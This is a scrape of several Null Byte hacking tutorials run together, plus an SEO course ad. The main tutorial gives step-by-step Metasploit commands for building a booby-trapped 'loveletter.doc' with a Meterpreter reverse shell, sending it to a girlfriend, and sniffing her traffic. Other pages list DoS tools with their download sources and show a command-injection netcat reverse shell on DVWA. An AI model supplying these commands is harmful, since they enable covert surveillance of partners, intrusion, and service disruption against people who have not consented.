(Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)News:What to Expect from Null Byte in 2015Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Let Me Introduce MyselfHack Logs and Linux Commands:What's Going On Here?Community Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker Training |
Hack Like a Pro: How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or Not Β« Null Byte :: WonderHowTo | Welcome back, my hacker apprentices!Several of you have written asking me how you can check on whether your boyfriend, girlfriend, or spouse is cheating on you, so I dedicate this tutorial to all of you with doubts about the fidelity of your spouse, girlfriend, or boyfriend.A Fair WarningBefore I start, I want to point out that hacking into somebody's computer is illegal in most countries. What might be the consequences for hacking into a friend's or spouse's computer?Kelly Terry, one of our Null Byte community members, has firsthand experience with her husband, who's now paying a heavy price. She recounts her experienceon her blog.I'm not a relationship counselor or anything of that sort, but if you're worried that your partner is cheating on you, there are only two possibilities. First, they are NOT cheating on you and your paranoia is destructive to the relationship. Second, they ARE cheating on you and you should get out of the relationship.My point here is that if you're obsessed with jealousy in your relationship, you should either remove that feeling or leave the relationship. Hacking their machine to find evidence is only likely to make the situation worse because you could...End up in prison like Kelly Terry's husband,Find nothing, but that won't relieve the anxiety and jealousy, orFind something, and you knew all along that the relationship was bad for you.None of these outcomes are good!Just a warning.The instructions below are merely for learning purposes.Step 1: Compromise Her SystemLet's fire upBackTrackandMetsploitand figure out a way to compromise her system.A couple of years back (April 2012), an exploit was found in the wild that you could create a buffer overflow (I'll be doing a tutorial to explain buffer overflows soon) in Windows 7 systems with Office 2007 or Office 2010. Since I know my girlfriend has Windows 7 and Office 2007 on her computer, this just might be the perfect exploit to use on her.In addition, I often send her little love letters as attachments, so she will not suspect anything if I send another. This time, though, I will embed theMeterpreterso that I can "own" her system and check up on her.Of course, I think it goes without saying (maybe not?) that this exploit will work with anyone that trusts you enough to openyour Word document. Similar tactics are used by spammers and scammers all the time.When this vulnerability was found in the wild,Microsoftdesignated itMS12-027. Metasploit developers then wrote an exploit for Metasploit that does exactly the same thing and named itms12_027_mscomctl_bof. If we want to use it to exploit our girlfriend's computer, we can find it by typing at the msfconsole:msf > search ms12_027This should retrieve just one exploit as above. To avoid typographical errors, simply copy and paste it into the next line like I have done above.Step 2: Let's Get Some Background InfoIf I'm new to an exploit, I like to learn a little about what it does before I start. Let's type:msf > infoNotice that this exploit has two potential targets, Microsoft Office 2007 (target 0) and Microsoft Office 2010 (target 1). In addition, in the description it states:"This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed a specially crafted..."Notice that it also states"The DEP/ASLR bypass on Office 2010...". For those of you are unfamiliar,DEPisDataExecutionPrevention andASLRisAddressSpaceLayoutRandomization. Both are implemented on most operating systems to prevent exactly what we are doing here.Step 3: Show Targets & Create DocSince we're pretty certain she uses Office 2007 and not Office 2010, let's set our target for 2007.set target 0Now, rather than use the generic msf.doc that comes with this exploit, let's give it a name that will entice her to open it. Let's call it loveletter.doc.set FILENAME loveletter.docWe next have to give it a payload and tell it what system it needs to connect back to (LHOST) when she opens it.set PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.111With all the options set, we typeexploitand Metasploit creates our malicious document and places it in the/root/.msf/localdirectory with a name we gave it, loveletter.doc.Step 4: Multi HandlerNow that we have the malicious Word file created called loveletter.doc, we next need to open a multi-handler on our Metasploit system to receive the connection when she opens the file.use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.111exploitNow, as you can see, Metasploit has a listener waiting for a connection from the girlfriend's computer. Let's email her that loveletter.doc and when she opens that file, it will create a Meterpreter session on our computer and we will own her system!As you can see, she opened the file and a Meterpreter session opened on our computer. We own her system!Step 5: Verify It's the Right ComputerJust to make certain we're on the right computer, let's get the sysinfo:meterpreter > sysinfoAs you can see, it tells us that the system we have compromised is a Windows 7 64-bit computer. That's her machine!Step 6: Forward Her Internet Traffic Back Through UsNow that we have control of her system, you can forward all her Internet traffic through your computer. In this way, you can sniff her traffic and search for telltale signs of cheating, such as keywords. You might even setup an intrusion detection system on her traffic looking for keywords that will alert you.First, forward her traffic to you by typing at the Meterpreter prompt:meterpreter> portfwd add -L 192.168.1.100 -l 80 -r 192.168.1.111 -p 80Next, we need to forward all traffic from her through our computer out to the Internet. We can do that by turning on ipforwarding on on our system. We do that by typing:bt > echo 1 /proc/sys/net/ipv4/ipforwardStep 7: Search for KeywordsNow that all her traffic is going through your system, you can view her traffic throughWiresharkto see what sites she is visiting and even better, set upSnortto look for keywords in her TCP stream going through our computer.So now, my hacker apprentices, we have several different ways to hack Windows 7 systems, but we still have more, so keep coming back.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseComputer girlimage via ShutterstockRelatedHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow To:Trivia Crack Cheats Your Friends Are Probably Using Against YouHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:How Anyone (Even Pirates) Can Get Windows 10 for FreeβLegallyHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:Run an VNC Server on Win7Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Set Up Two Different Facebook Accounts on One Android DeviceHow To:Hack mini Tower Defense with Cheat Engine (02/14/10)How To:Hack Roller Coaster Kingdom coins & levels (10/22/09)How To:What to Do if You Accidentally Liked a Photo on InstagramHack Video Games, Part 1:IntroductionHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Hack Club Penguin for loads of money (03/22/09)Hack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHow To:Easily increase your money in Farmville without cheatingHow To:Hack MineCraft to edit your inventory with cheat programsHow To:Choose Which Microphone Your Phone Uses When Recording Video in Fimic Pro (To Capture Clearer Audio)Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Hack poo and coins on Pet Society (09/10/09)How To:Tell if your girlfriend is cheatingHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow to Hack Pet Society:funky game cheat (09/27/09)How To:Cheat Engine for FarmVille - The Definitive GuideHow To:Remove Gamers Unite from your Facebook AccountHow to Hack Your Game Saves:A Basic Guide to Hex EditingHow To:Hack FarmVille with Cheat Engine |
Hack Like a Pro: Denial-of-Service (DoS) Tools & Techniques Β« Null Byte :: WonderHowTo | Welcome back, my fledgling hackers!Over the years, we have examined multiple ways to own, exploit, or compromise a system. On the other hand, we have not spent a lot of time on denial-of-service (DoS) attacks.For those of you who are new here, a denial of service is basically a simple attack that keeps the target system from operating as it should. In its simplest form, it uses up all of the system resources so that others can't connect. More sophisticated attacks will cause the system to crash or create a infinite loop that uses all of the system's CPU cycles.In general, a DoS attack is the easiest and least sophisticated type of attack. Some have gone so far as to say that an eight-year-old could participate in a DoS attack, and there is some truth to that statement since some tools make it as easy as putting in an IP address and hitting "Start."In recent years, DoS and DDoS attacks (the latter of which involves more than one attack source) have been growing rapidly and more and more companies/websites are employing specialized anti-DoS tools and techniques (among the most popular and most expensive isIncapsula).In this article, I want to lay some groundwork on the techniques for DoSing and provide you with some of the tools to do so. Before we do that, though, I want to point out that some of the tools we have already explored here on Null Byte are useful for DoS attacks, includingHping,Nmap,Metasploit, and evenAircrack-ng(for DoSing wireless access points).MethodsYou can categorize denial-of-service attacks into at least three different types, which include:Volume-BasedThese are the simplest attacks. The attacker simply sends a large volume of packets to the target thereby using up all the resources. The resources used might simply be bandwidth. These attacks include ICMP and UDP floods.Protocol-BasedThese attacks often use the server's resources rather than bandwidth going to and from of the server. They can also use the resources of the network equipment on the periphery of the server (such a firewalls, intrusion detection systems, and switches). Examples include Smurf attacks (ICMP to a broadcast IP with a spoofed IP), Fraggle attacks (same as the Smurf, only using UDP), SYN floods, ping of deaths (oversized ICMP with the same destination and source IP and port), and many others.Application Layer AttacksThese attacks are compromised of what appear to be legitimate application layer (layer 7) requests to the server that are intended to crash it. These include attacks on Apache HTTP Server and Microsoft IIS, and includes tools such as Slowloris.DoS & DDoS ToolsThere are literally hundreds of DoS and DDoS tools available. WithinKali, we can find auxiliary modules within Metasploit specifically for DoSing. If we navigate to:kali > cd /usr/share/metasplot-framework/auxiliary/dosAnd list the contents of that directory, we can see that Metasploit has organized its DoS tools by the type of target. There are hundreds of denial-of-service tools in Metasploit.We can also find hundreds of DoS tools in theExploit Databasebuilt into Kali, and still more atExploit-DB.com. We can find a listing of the Exploit-DB DoS tools by navigating to:kali > /usr/share/exploitdb/platforms/windows/dosA long listing (ls -l) of this directory lists all of the Windows DoS tools. A similar, shorter list is at/usr/share/exploitdb/platforms/Linux/dos.Some of the Most Popular DoS ToolsThere is no way I can list and evaluate every DoS tool, but here is a limited list of some of the most popular and effective. This is far from an exhaustive list, but I hope to give you the basics on some of the most popular DoS and DDoS tools. If you have a favorite, by all means, please put it in the comments with a link to the download.One quick note of warning: Be very careful when looking online for DoS or DDoS tools. Many of them simply take you to a malicious link and will install a trojan on your system.I don't know anyone who would do that. ;-)1. LOICThe Low Orbit Ion Cannon (LOIC) may be the most popular DoS tool and has made its way into hacker lore. It is capable of sending mass amounts of ICMP or UDP packets to the target, thereby saturating the bandwidth, and has been used in some of the most effective and notorious DoS attacks.LOIC was effectively used by 4chan in theProject Chanologyattack on the Church of Scientology website in 2009, and by Anonymous in theOperation Paybackattack against PayPal, Visa, and MasterCard in retaliation for cutting off WikiLeaks donations.LOIC attacks can be largely mitigated by limiting UDP and ICMP packets and limiting how many packets can be sent and delivered to any one client. You can download LOIC onSourceForge. This tool is Windows-based and almost as easy as pointing and clicking.2. HOICThe HOIC was developed during Operation Payback by Praetoxβthe same folks who developed LOIC. The key difference is that HOIC uses a HTTP flood using booster files that enable a small number of users to effectively DoS a website by sending a flood of randomized HTTP GET and POST requests. It is capable of simultaneously DoSing up to 256 domains. You can download it fromSourceForge.3. XOICXOIC is another easy-to-use DoS tool. The user simply needs to set the IP address and port of the target, select a protocol (HTTP, UDP, ICMP, or TCP), then begin to fire away! You can download it onSourceForge4. HULKHTTP Unbearable Load King, or HULK, is another tool capable of bringing down web servers. This tool uses various obfuscation techniques to limit the ability of the target to mitigate the attack. You can download it onPacket Storm.5. UDP FlooderUDP Flooder does just as you would expectβit sends a flood of UDP packets to the target. It has been effectively used to knock gamers off their networks (online games primarily use UDP). You can download it atSourceForge.6. RUDYR-U-Dead-Yet, or RUDY, takes a different approach to DoSing websites. It enables the user to select a form from the web app and then use that form to send a flood of POST requests. You can download it fromHybrid Security.7. ToR's HammerToR's Hammer was designed to be run through theToRnetwork to anonymize the attack and limit mitigation. The problem with this strategy is that the ToR network tends to be very slow, thereby limiting the rate at which the packets can be sent and thereby limiting the effectiveness of this tool. You can download it fromPacket StormorSourceForge.8. PylorisPyloris is another DoS tool, but with still a different strategy. It allows the user to construct their own, unique HTTP request headers. It then attempts to keep open these TCP connections as long as possible in order to exhaust the connection queue. When it does this, no legitimate connections can be made and new attempts to connect by other users will be dropped. You can download it onSourceForge.9. OWASP SwitchbladeThe Open Web Application Security Project (OWASP) and ProactiveRISK developed the Switchblade DoS tool to be used to test the resiliency of a web app to DoS attempts. It has three modes, 1. SSL Half-Open, 2. HTTP Post, and 3. Slowloris. You can download it fromOWASP.10. DAVOSETDAVOSET(DDoS attacks via other sites execution tool) is a DDoS tool, written in Perl, that uses zombie systems to distribute the attack across multiple systems. This tool uses Abuse of Functionality and XML External Entities vulnerabilities on other sites to "zombie" them and attack the target site. It includes over 160 zombie services. You can download it fromPacket StormorGitHub.11. GoldenEye HTTP DoS ToolGoldenEyeis simple DoS tool that loads an HTTP server attempting to exhaust its resource pool. It's great for testing your website, but not really effective in the real world as most perimeter defenses will detect it. You can download it fromGitHub.12. THC-SSL-DOSThis DDoS tool (built right into Kali) is different from most DoS tools in that it doesn't require huge amounts of bandwidth and can be conducted with a single system. It attacks vulnerabilities in SSL to bring down the server. You can download it fromTHC, but if you are using Kali, you already have it.13. DDOSIM - Layer 7 DDoS SimulatorThis tool fromStorm Securitysimulates a DDoS attack from various zombies with random IP addresses. It attempts to create a full TCP connection (SYN-SYN/ACK-ACK). As the name implies, it operates at the application layer (layer 7). It is also capable of simulating a DDoS attack upon the SMTP server and a TCP flood at random ports. You can download it fromSourceForge.Keep coming back, my fledgling hackers, as we continue to explore the tools and techniques of the most valuable skill set of the futureβhacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:Anyone Else Likes TDoS?Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Get LED Color Effects for Music Playing on Your AndroidHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapNews:Banks Around the World Hit with Repeated DDoS Attacks!Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)How To:Advanced System Attacks - Total GuideNews:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:DoS Using SlowHTTPTestHow To:The Five Phases of HackingNews:The Consequences of HackingNews:Tinder Gold Allows Users to See Everyone Who 'Likes' Their ProfileHow To:Use the guitar amp effect in Pro ToolsNews:What to Expect from Null Byte in 2015How To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)How To:Introduction to Botnets and RATs : Part 1Hack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHow To:Reshape a body with the liquify tool in PhotoshopHow To:Hack TOR Hidden ServicesHow To:Hack SSL passwords with ARP poisoningHow To:Set Your Android to Atomic Time for a Perfectly Synced ClockHow to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointBecome an Elite Hacker, Part 3:Easy DDOSHack Like a Pro:How to Save the World from Nuclear AnnihilationRIP:ScroogleNews:What does Pro Tools HD Native mean for you?How To:use the Datel Battery and Magic memory stick to hack the PSPCamera Plus Pro:The iPhone Camera App That Does it AllHow To:Trick YouTube Into Being a Decent Video EditorEasily Access MS Tutorials:Microsoft's Desktop PlayerHow To:Make Your Videos Sound AWESOMENews:Online E-Commerce Video Games RetailersNull Byte:Never Let Us DieHow To:Filter Unwanted Calls & SMS for Free with Google VoiceHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Cripple Websites with DDoS Attacks or Auto-Hacking Botnets |
Rank Up in Google Searches with This SEO Couse Bundle Β« Null Byte :: WonderHowTo | You know just how great your products and services are. Now it's time to let the rest of the world know. Of course, that's easier said than done. You're probably competing with bigger, more established brands that can afford to spend their way to the top. You can make it a fair fight with a little SEO optimization.Research has shown that68 percentof all online experiences start through a search engine. The fact of the matter is, the vast majority of people willnever make it off the first page of search results. So getting yourself high up in the search results is key to success. All you need to get yourself there is theComplete SEO Training 2020 and The Ultimate SEO Course. It's the key to creeping up in the Google rankings to where you belong, and you can get it for just $14.99.The SEO Training 2020 and The Complete SEO Course is the perfect starting point for anyone working to build their online presence. Whether it's for your business, your personal brand, or just a side project that you'd one day like to make your main gig, these courses will teach you the tricks of the trade regarding SEO optimization.These courses have more than 10 hours of expert-taught content that will show you how to perfect your SEO for your site and rank up in Google's search results. Looking for a place to start a new opportunity? This bundle of educational courses can also teach you how to find untapped niches that are just waiting for you to fill the void and dominate the search traffic.These courses can help your site load faster, get more hits, and improve your sale and conversion rates by as much as 200 percent. No wonder the bundle has a 4.4/5-star rating from those who have bought it. Join the ranks of satisfied customers and reach the front page of Google. Grab theComplete SEO Training 2020 and The Ultimate SEO Courseon sale now for just $14.99. That's 92% off the retail price. It's a deal that you can't miss,so grab it while you can!The Deal:Complete SEO Training 2020 and The Ultimate SEO Course for Just $14.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become an SEO Wiz & Increase Your Brand's Exposure for Just $25Deal Alert:Become a Digital Marketing Guru for $44.99 β TikTok, Fiverr, Mailchimp & More PlatformsHow To:Improve the Google page ranking of an image-based websiteHow to:Avoid SEO Mistakes You ShouldHow To:Use on page SEO techniques on your websiteHow To:SEO your website on a small budget and improve its Google rankingHow To:Climb to the Top Spot on Google's Search Results with This SEO ToolHow To:Create Google and SEO friendly webpage titlesHow To:Understand how the Google robot spiders your websiteHow To:Omit optional HTML tags to improve your site's speed and Google rankingHow To:Move to a new CMS layout without hurting your Google rankingDeal Alert:Become a Google Ad & SEO Ninja for Under $50How To:Master SEO with This Ultimate Course, Now Just $14.99How To:Track the popularity of a website with Google's PageRank update toolHow To:Consider the effects of URL-path keywords on your Google Search page rankingHow To:Harness the Power of Google Analytics with This $20 TrainingHow To:Exclude Experts Exchange and other spammy sites from your Google resultsHow To:Consider the effects of widgets on your page load times and Google rankingHow To:Make sure that your website being hacked doesn't affect your Google rankingHow To:Prevent cross-linking your websites together from hurting your Google rankingHow To:Boost Your Online Business with This SEO & Ad TrainingHow To:Take advantage of Google News Search as an SEO or publisherHow To:10 Reasons You Need to Switch to Google InboxHow To:Create and submit an XML sitemap with free toolsHow To:Learn How to Build an Online Audience with This 6-Course BundleHow To:Improve SEO for your website (search engine optimization tips)How To:Jobs Are Out There β Here's How to Create the Ideal RΓ©sumΓ©News:The Basics Of Website MarketingNews:Search Engine Optimization For Your WebsiteNews:Updating Your WebsiteHow To:Leverage Keyword Specific Pages to Boost SEO by Volusion | Two minuteNews:SEO - Ugly Vs Popular - Just Like Highschool!News:Introduction to Link BuildingNews:The Basics Of SEOHow To:Search for Google+ Posts & Profiles with GoogleNews:See this magical seo tipsNews:Effective Website Design For SEONews:Practicing Good Onsite SEOHow To:Do Effective Link Building For SEOHow To:Use Keyword Phrases In SEO |
How to Upgrade a Dumb Shell to a Fully Interactive Shell for More Flexibility Β« Null Byte :: WonderHowTo | One of the most exciting things as an ethical hacker, in my opinion, is catching areverse shell. But often, these shells are limited, lacking the full power and functionality of a proper terminal. Certain things don't work in these environments, and they can be troublesome to work with. Luckily, with a few commands, we can upgrade to a fully interactive shell with all the bells and whistles.It can often be frustrating when working with reverse shells if all you have is a "dumb" shell. A dumb shell is a type of shell that doesn't have a proper terminal's full functionality. That means things like tab completion, keyboard shortcuts, andterminal historysimply aren't present.Specific commands likesuwill not work in dumb shells, which makes things complicated when trying differentprivilege escalationtechniques.Text editorsdon't work very well in these conditions either, which can be a pain.Don't Miss:Use Command Injection to Pop a Reverse Shell on a Web ServerPerhaps the most annoying thing that can happen (I'm sure it's happened to many of you) is accidentally losing your session by hitting the wrong keys. Let's say you run a command, and it hangs, and you instinctively hitControl-Cto cancel it. Well, there goes your shell. It can be infuriating, especially if there were a lot of steps to get that shell.With a littlecommand-line magic, we can get around this limitation, though, and come out on top with a fully functional interactive shell.Step 1: Get a Limited ShellTo get started, we will usecommand injection to obtain our initial shell. To demonstrate, we'll be using DVWA (Damn Vulnerable Web App), but you can use a similar testing configuration. Browse toDVWAand log in using the default credentials.Next, go to the "DVWA Security" page, and change the security level to low. Doing so will ensure everything works properly.Now, on Kali, we can start a listener withNetcatto catch any incoming connections to our machine. The flags can all be grouped as-lvp, where-lstarts a listener,-vmakes it verbose, and-pspecifies the port (1234, in this exercise).~# nc -lvp 1234
listening on [any] 1234 ...Back in DVWA, navigate to the "Command Execution" page. It will allow us to tack on a system command to the default functionality of pinging an IP address.The entire command is seen below. It tells the target to connect to our machine on port 1234 via Netcat, and then execute abash shell.localhost && nc 10.10.0.1 1234 -e /bin/bashOnce we hit the "submit" button, we should see a connection open up on our listener. There won't be a prompt, instead only a blinking cursor will appear.10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 52685It's what a lot of shells look like, especially after popping them from aweb application. If we run a command likeidthough, we can see it is working.id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Step 2: Spawn a Bash ShellOne of the easiest and most reliable ways to upgrade a dumb shell to a fully interactive shell can be done withPython. Chances are, if the target is a Linux box, it is going to have some version of Python installed.First, check which version of Python is installed with thewhichcommand.which python
/usr/bin/pythonIt will usually show python or python3. Now we can use this to spawn a proper bash shell. Below, the-cflag specifies the command to run. In this case, it first imports theptymodule. The pty module offers pseudo-terminal abilities to the shell, which is useful for some commands that require a terminal environment to run. Then, it spawns a bash shell, and after we hitEnter, we should see a real prompt.python -c 'import pty;pty.spawn("/bin/bash")'
www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$Now that is a little better, but we still don't have tab completion or command history, and if we hitControl-Cit will still exit the session. Next, we will upgrade to a fully functional shell with a little Linux fu.Step 3: Upgrade to Interactive ShellThe next thing we need to do might seem counterintuitive, but background the shell withControl-Z.www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ ^Z
[1]+ Stopped nc -lvp 1234
root@drd:~#We need some information about our own terminal, so use theechocommand to display the current terminal that's set.~# echo $TERM
xterm-256colorAnd enterstty -ato view its characteristics.~# stty -a
speed 38400 baud; rows 56; columns 213; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extprocMake a note of the number of rows and columns. Next, enter the following command which will allow us to pass keyboard shortcuts through.~# stty raw -echoNow, typefgto foreground our shell running in the background. You won't be able to see those letters on the screen as you type, but hitEnterafterward, and the Netcat command will appear automatically. Next, typeresetto reset the terminal. It will look weird when you type it, but it works.~# nc -lvp 1234
resetIt may ask to set the terminal type. Sometimes the color version ofxtermwon't work, so we can just use the regular xterm instead.reset: unknown terminal type unknown
Terminal type? xterm-256color
reset: unknown terminal type xterm-256color
Terminal type? xtermIf you can't clear the screen or use the up arrow to view history at this point, use the following commands to set the terminal type and shell once more.www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ export TERM=xterm
www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ export SHELL=bashNow the only thing that's left to do is set the appropriate size of the terminal. Sometimes if we are drilled way down into a directory or have a really long prompt, the input will wrap around and be difficult to read. By setting the rows and columns to the same as our native terminal, we can avoid this.www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ stty rows 56 columns 213We now have a fully interactive shell that will allow us to use keyboard shortcuts, clear the screen, remember history, and have all the same functionality of your favorite local terminal β all over a Netcat connection.Wrapping UpToday, we learned about dumb shells and their limitations, as well as what can go wrong when using them. First, we got our initial shell via command injection. We then used Python to spawn a bash shell, and finally, we were able to mirror our current terminal configuration to upgrade to a fully interactive shell. With this technique, you can now reverse shell in style.Don't Miss:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTatiana Shepeleva/123RF; Screenshots by drd_/Null ByteRelatedHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Upgrade a Normal Command Shell to a Metasploit MeterpreterHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:You Deserve Taco Shells Made of CheeseHow To:Five Ways to Repurpose Shellfish ShellsHow To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHow To:Make DIY Decorative Shell Dresser KnobsHow To:Go Retro with These Classic-Style Start Menus for Windows 10How To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Use Command Injection to Pop a Reverse Shell on a Web ServerNews:Change from BASH to zshHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterMario Kart Wii:How to Dodge a Blue ShellNews:Paint "Balls"How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreScrabble Bingo of the Day:PLASTRUMHow To:Get the 'For Whom the Shell Tolls' Achievement in Modern Warfare 3News:Rigging A Blue CrabNews:Secure Shell Chrome Application is now available!News:ASTON 2-(SUPERB SHELL REPLACEMENT)News:Rigging a Fiddler CrabNews:Dumb and Dumber Inception Style TrailerAntibubbles in Microgravity:NASA Astronaut Experiments with Centrifugal Force in SpaceHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Add Recycle Bin Icon to Windows 7 TaskbarNews:Toilet Paper Wedding Dress |
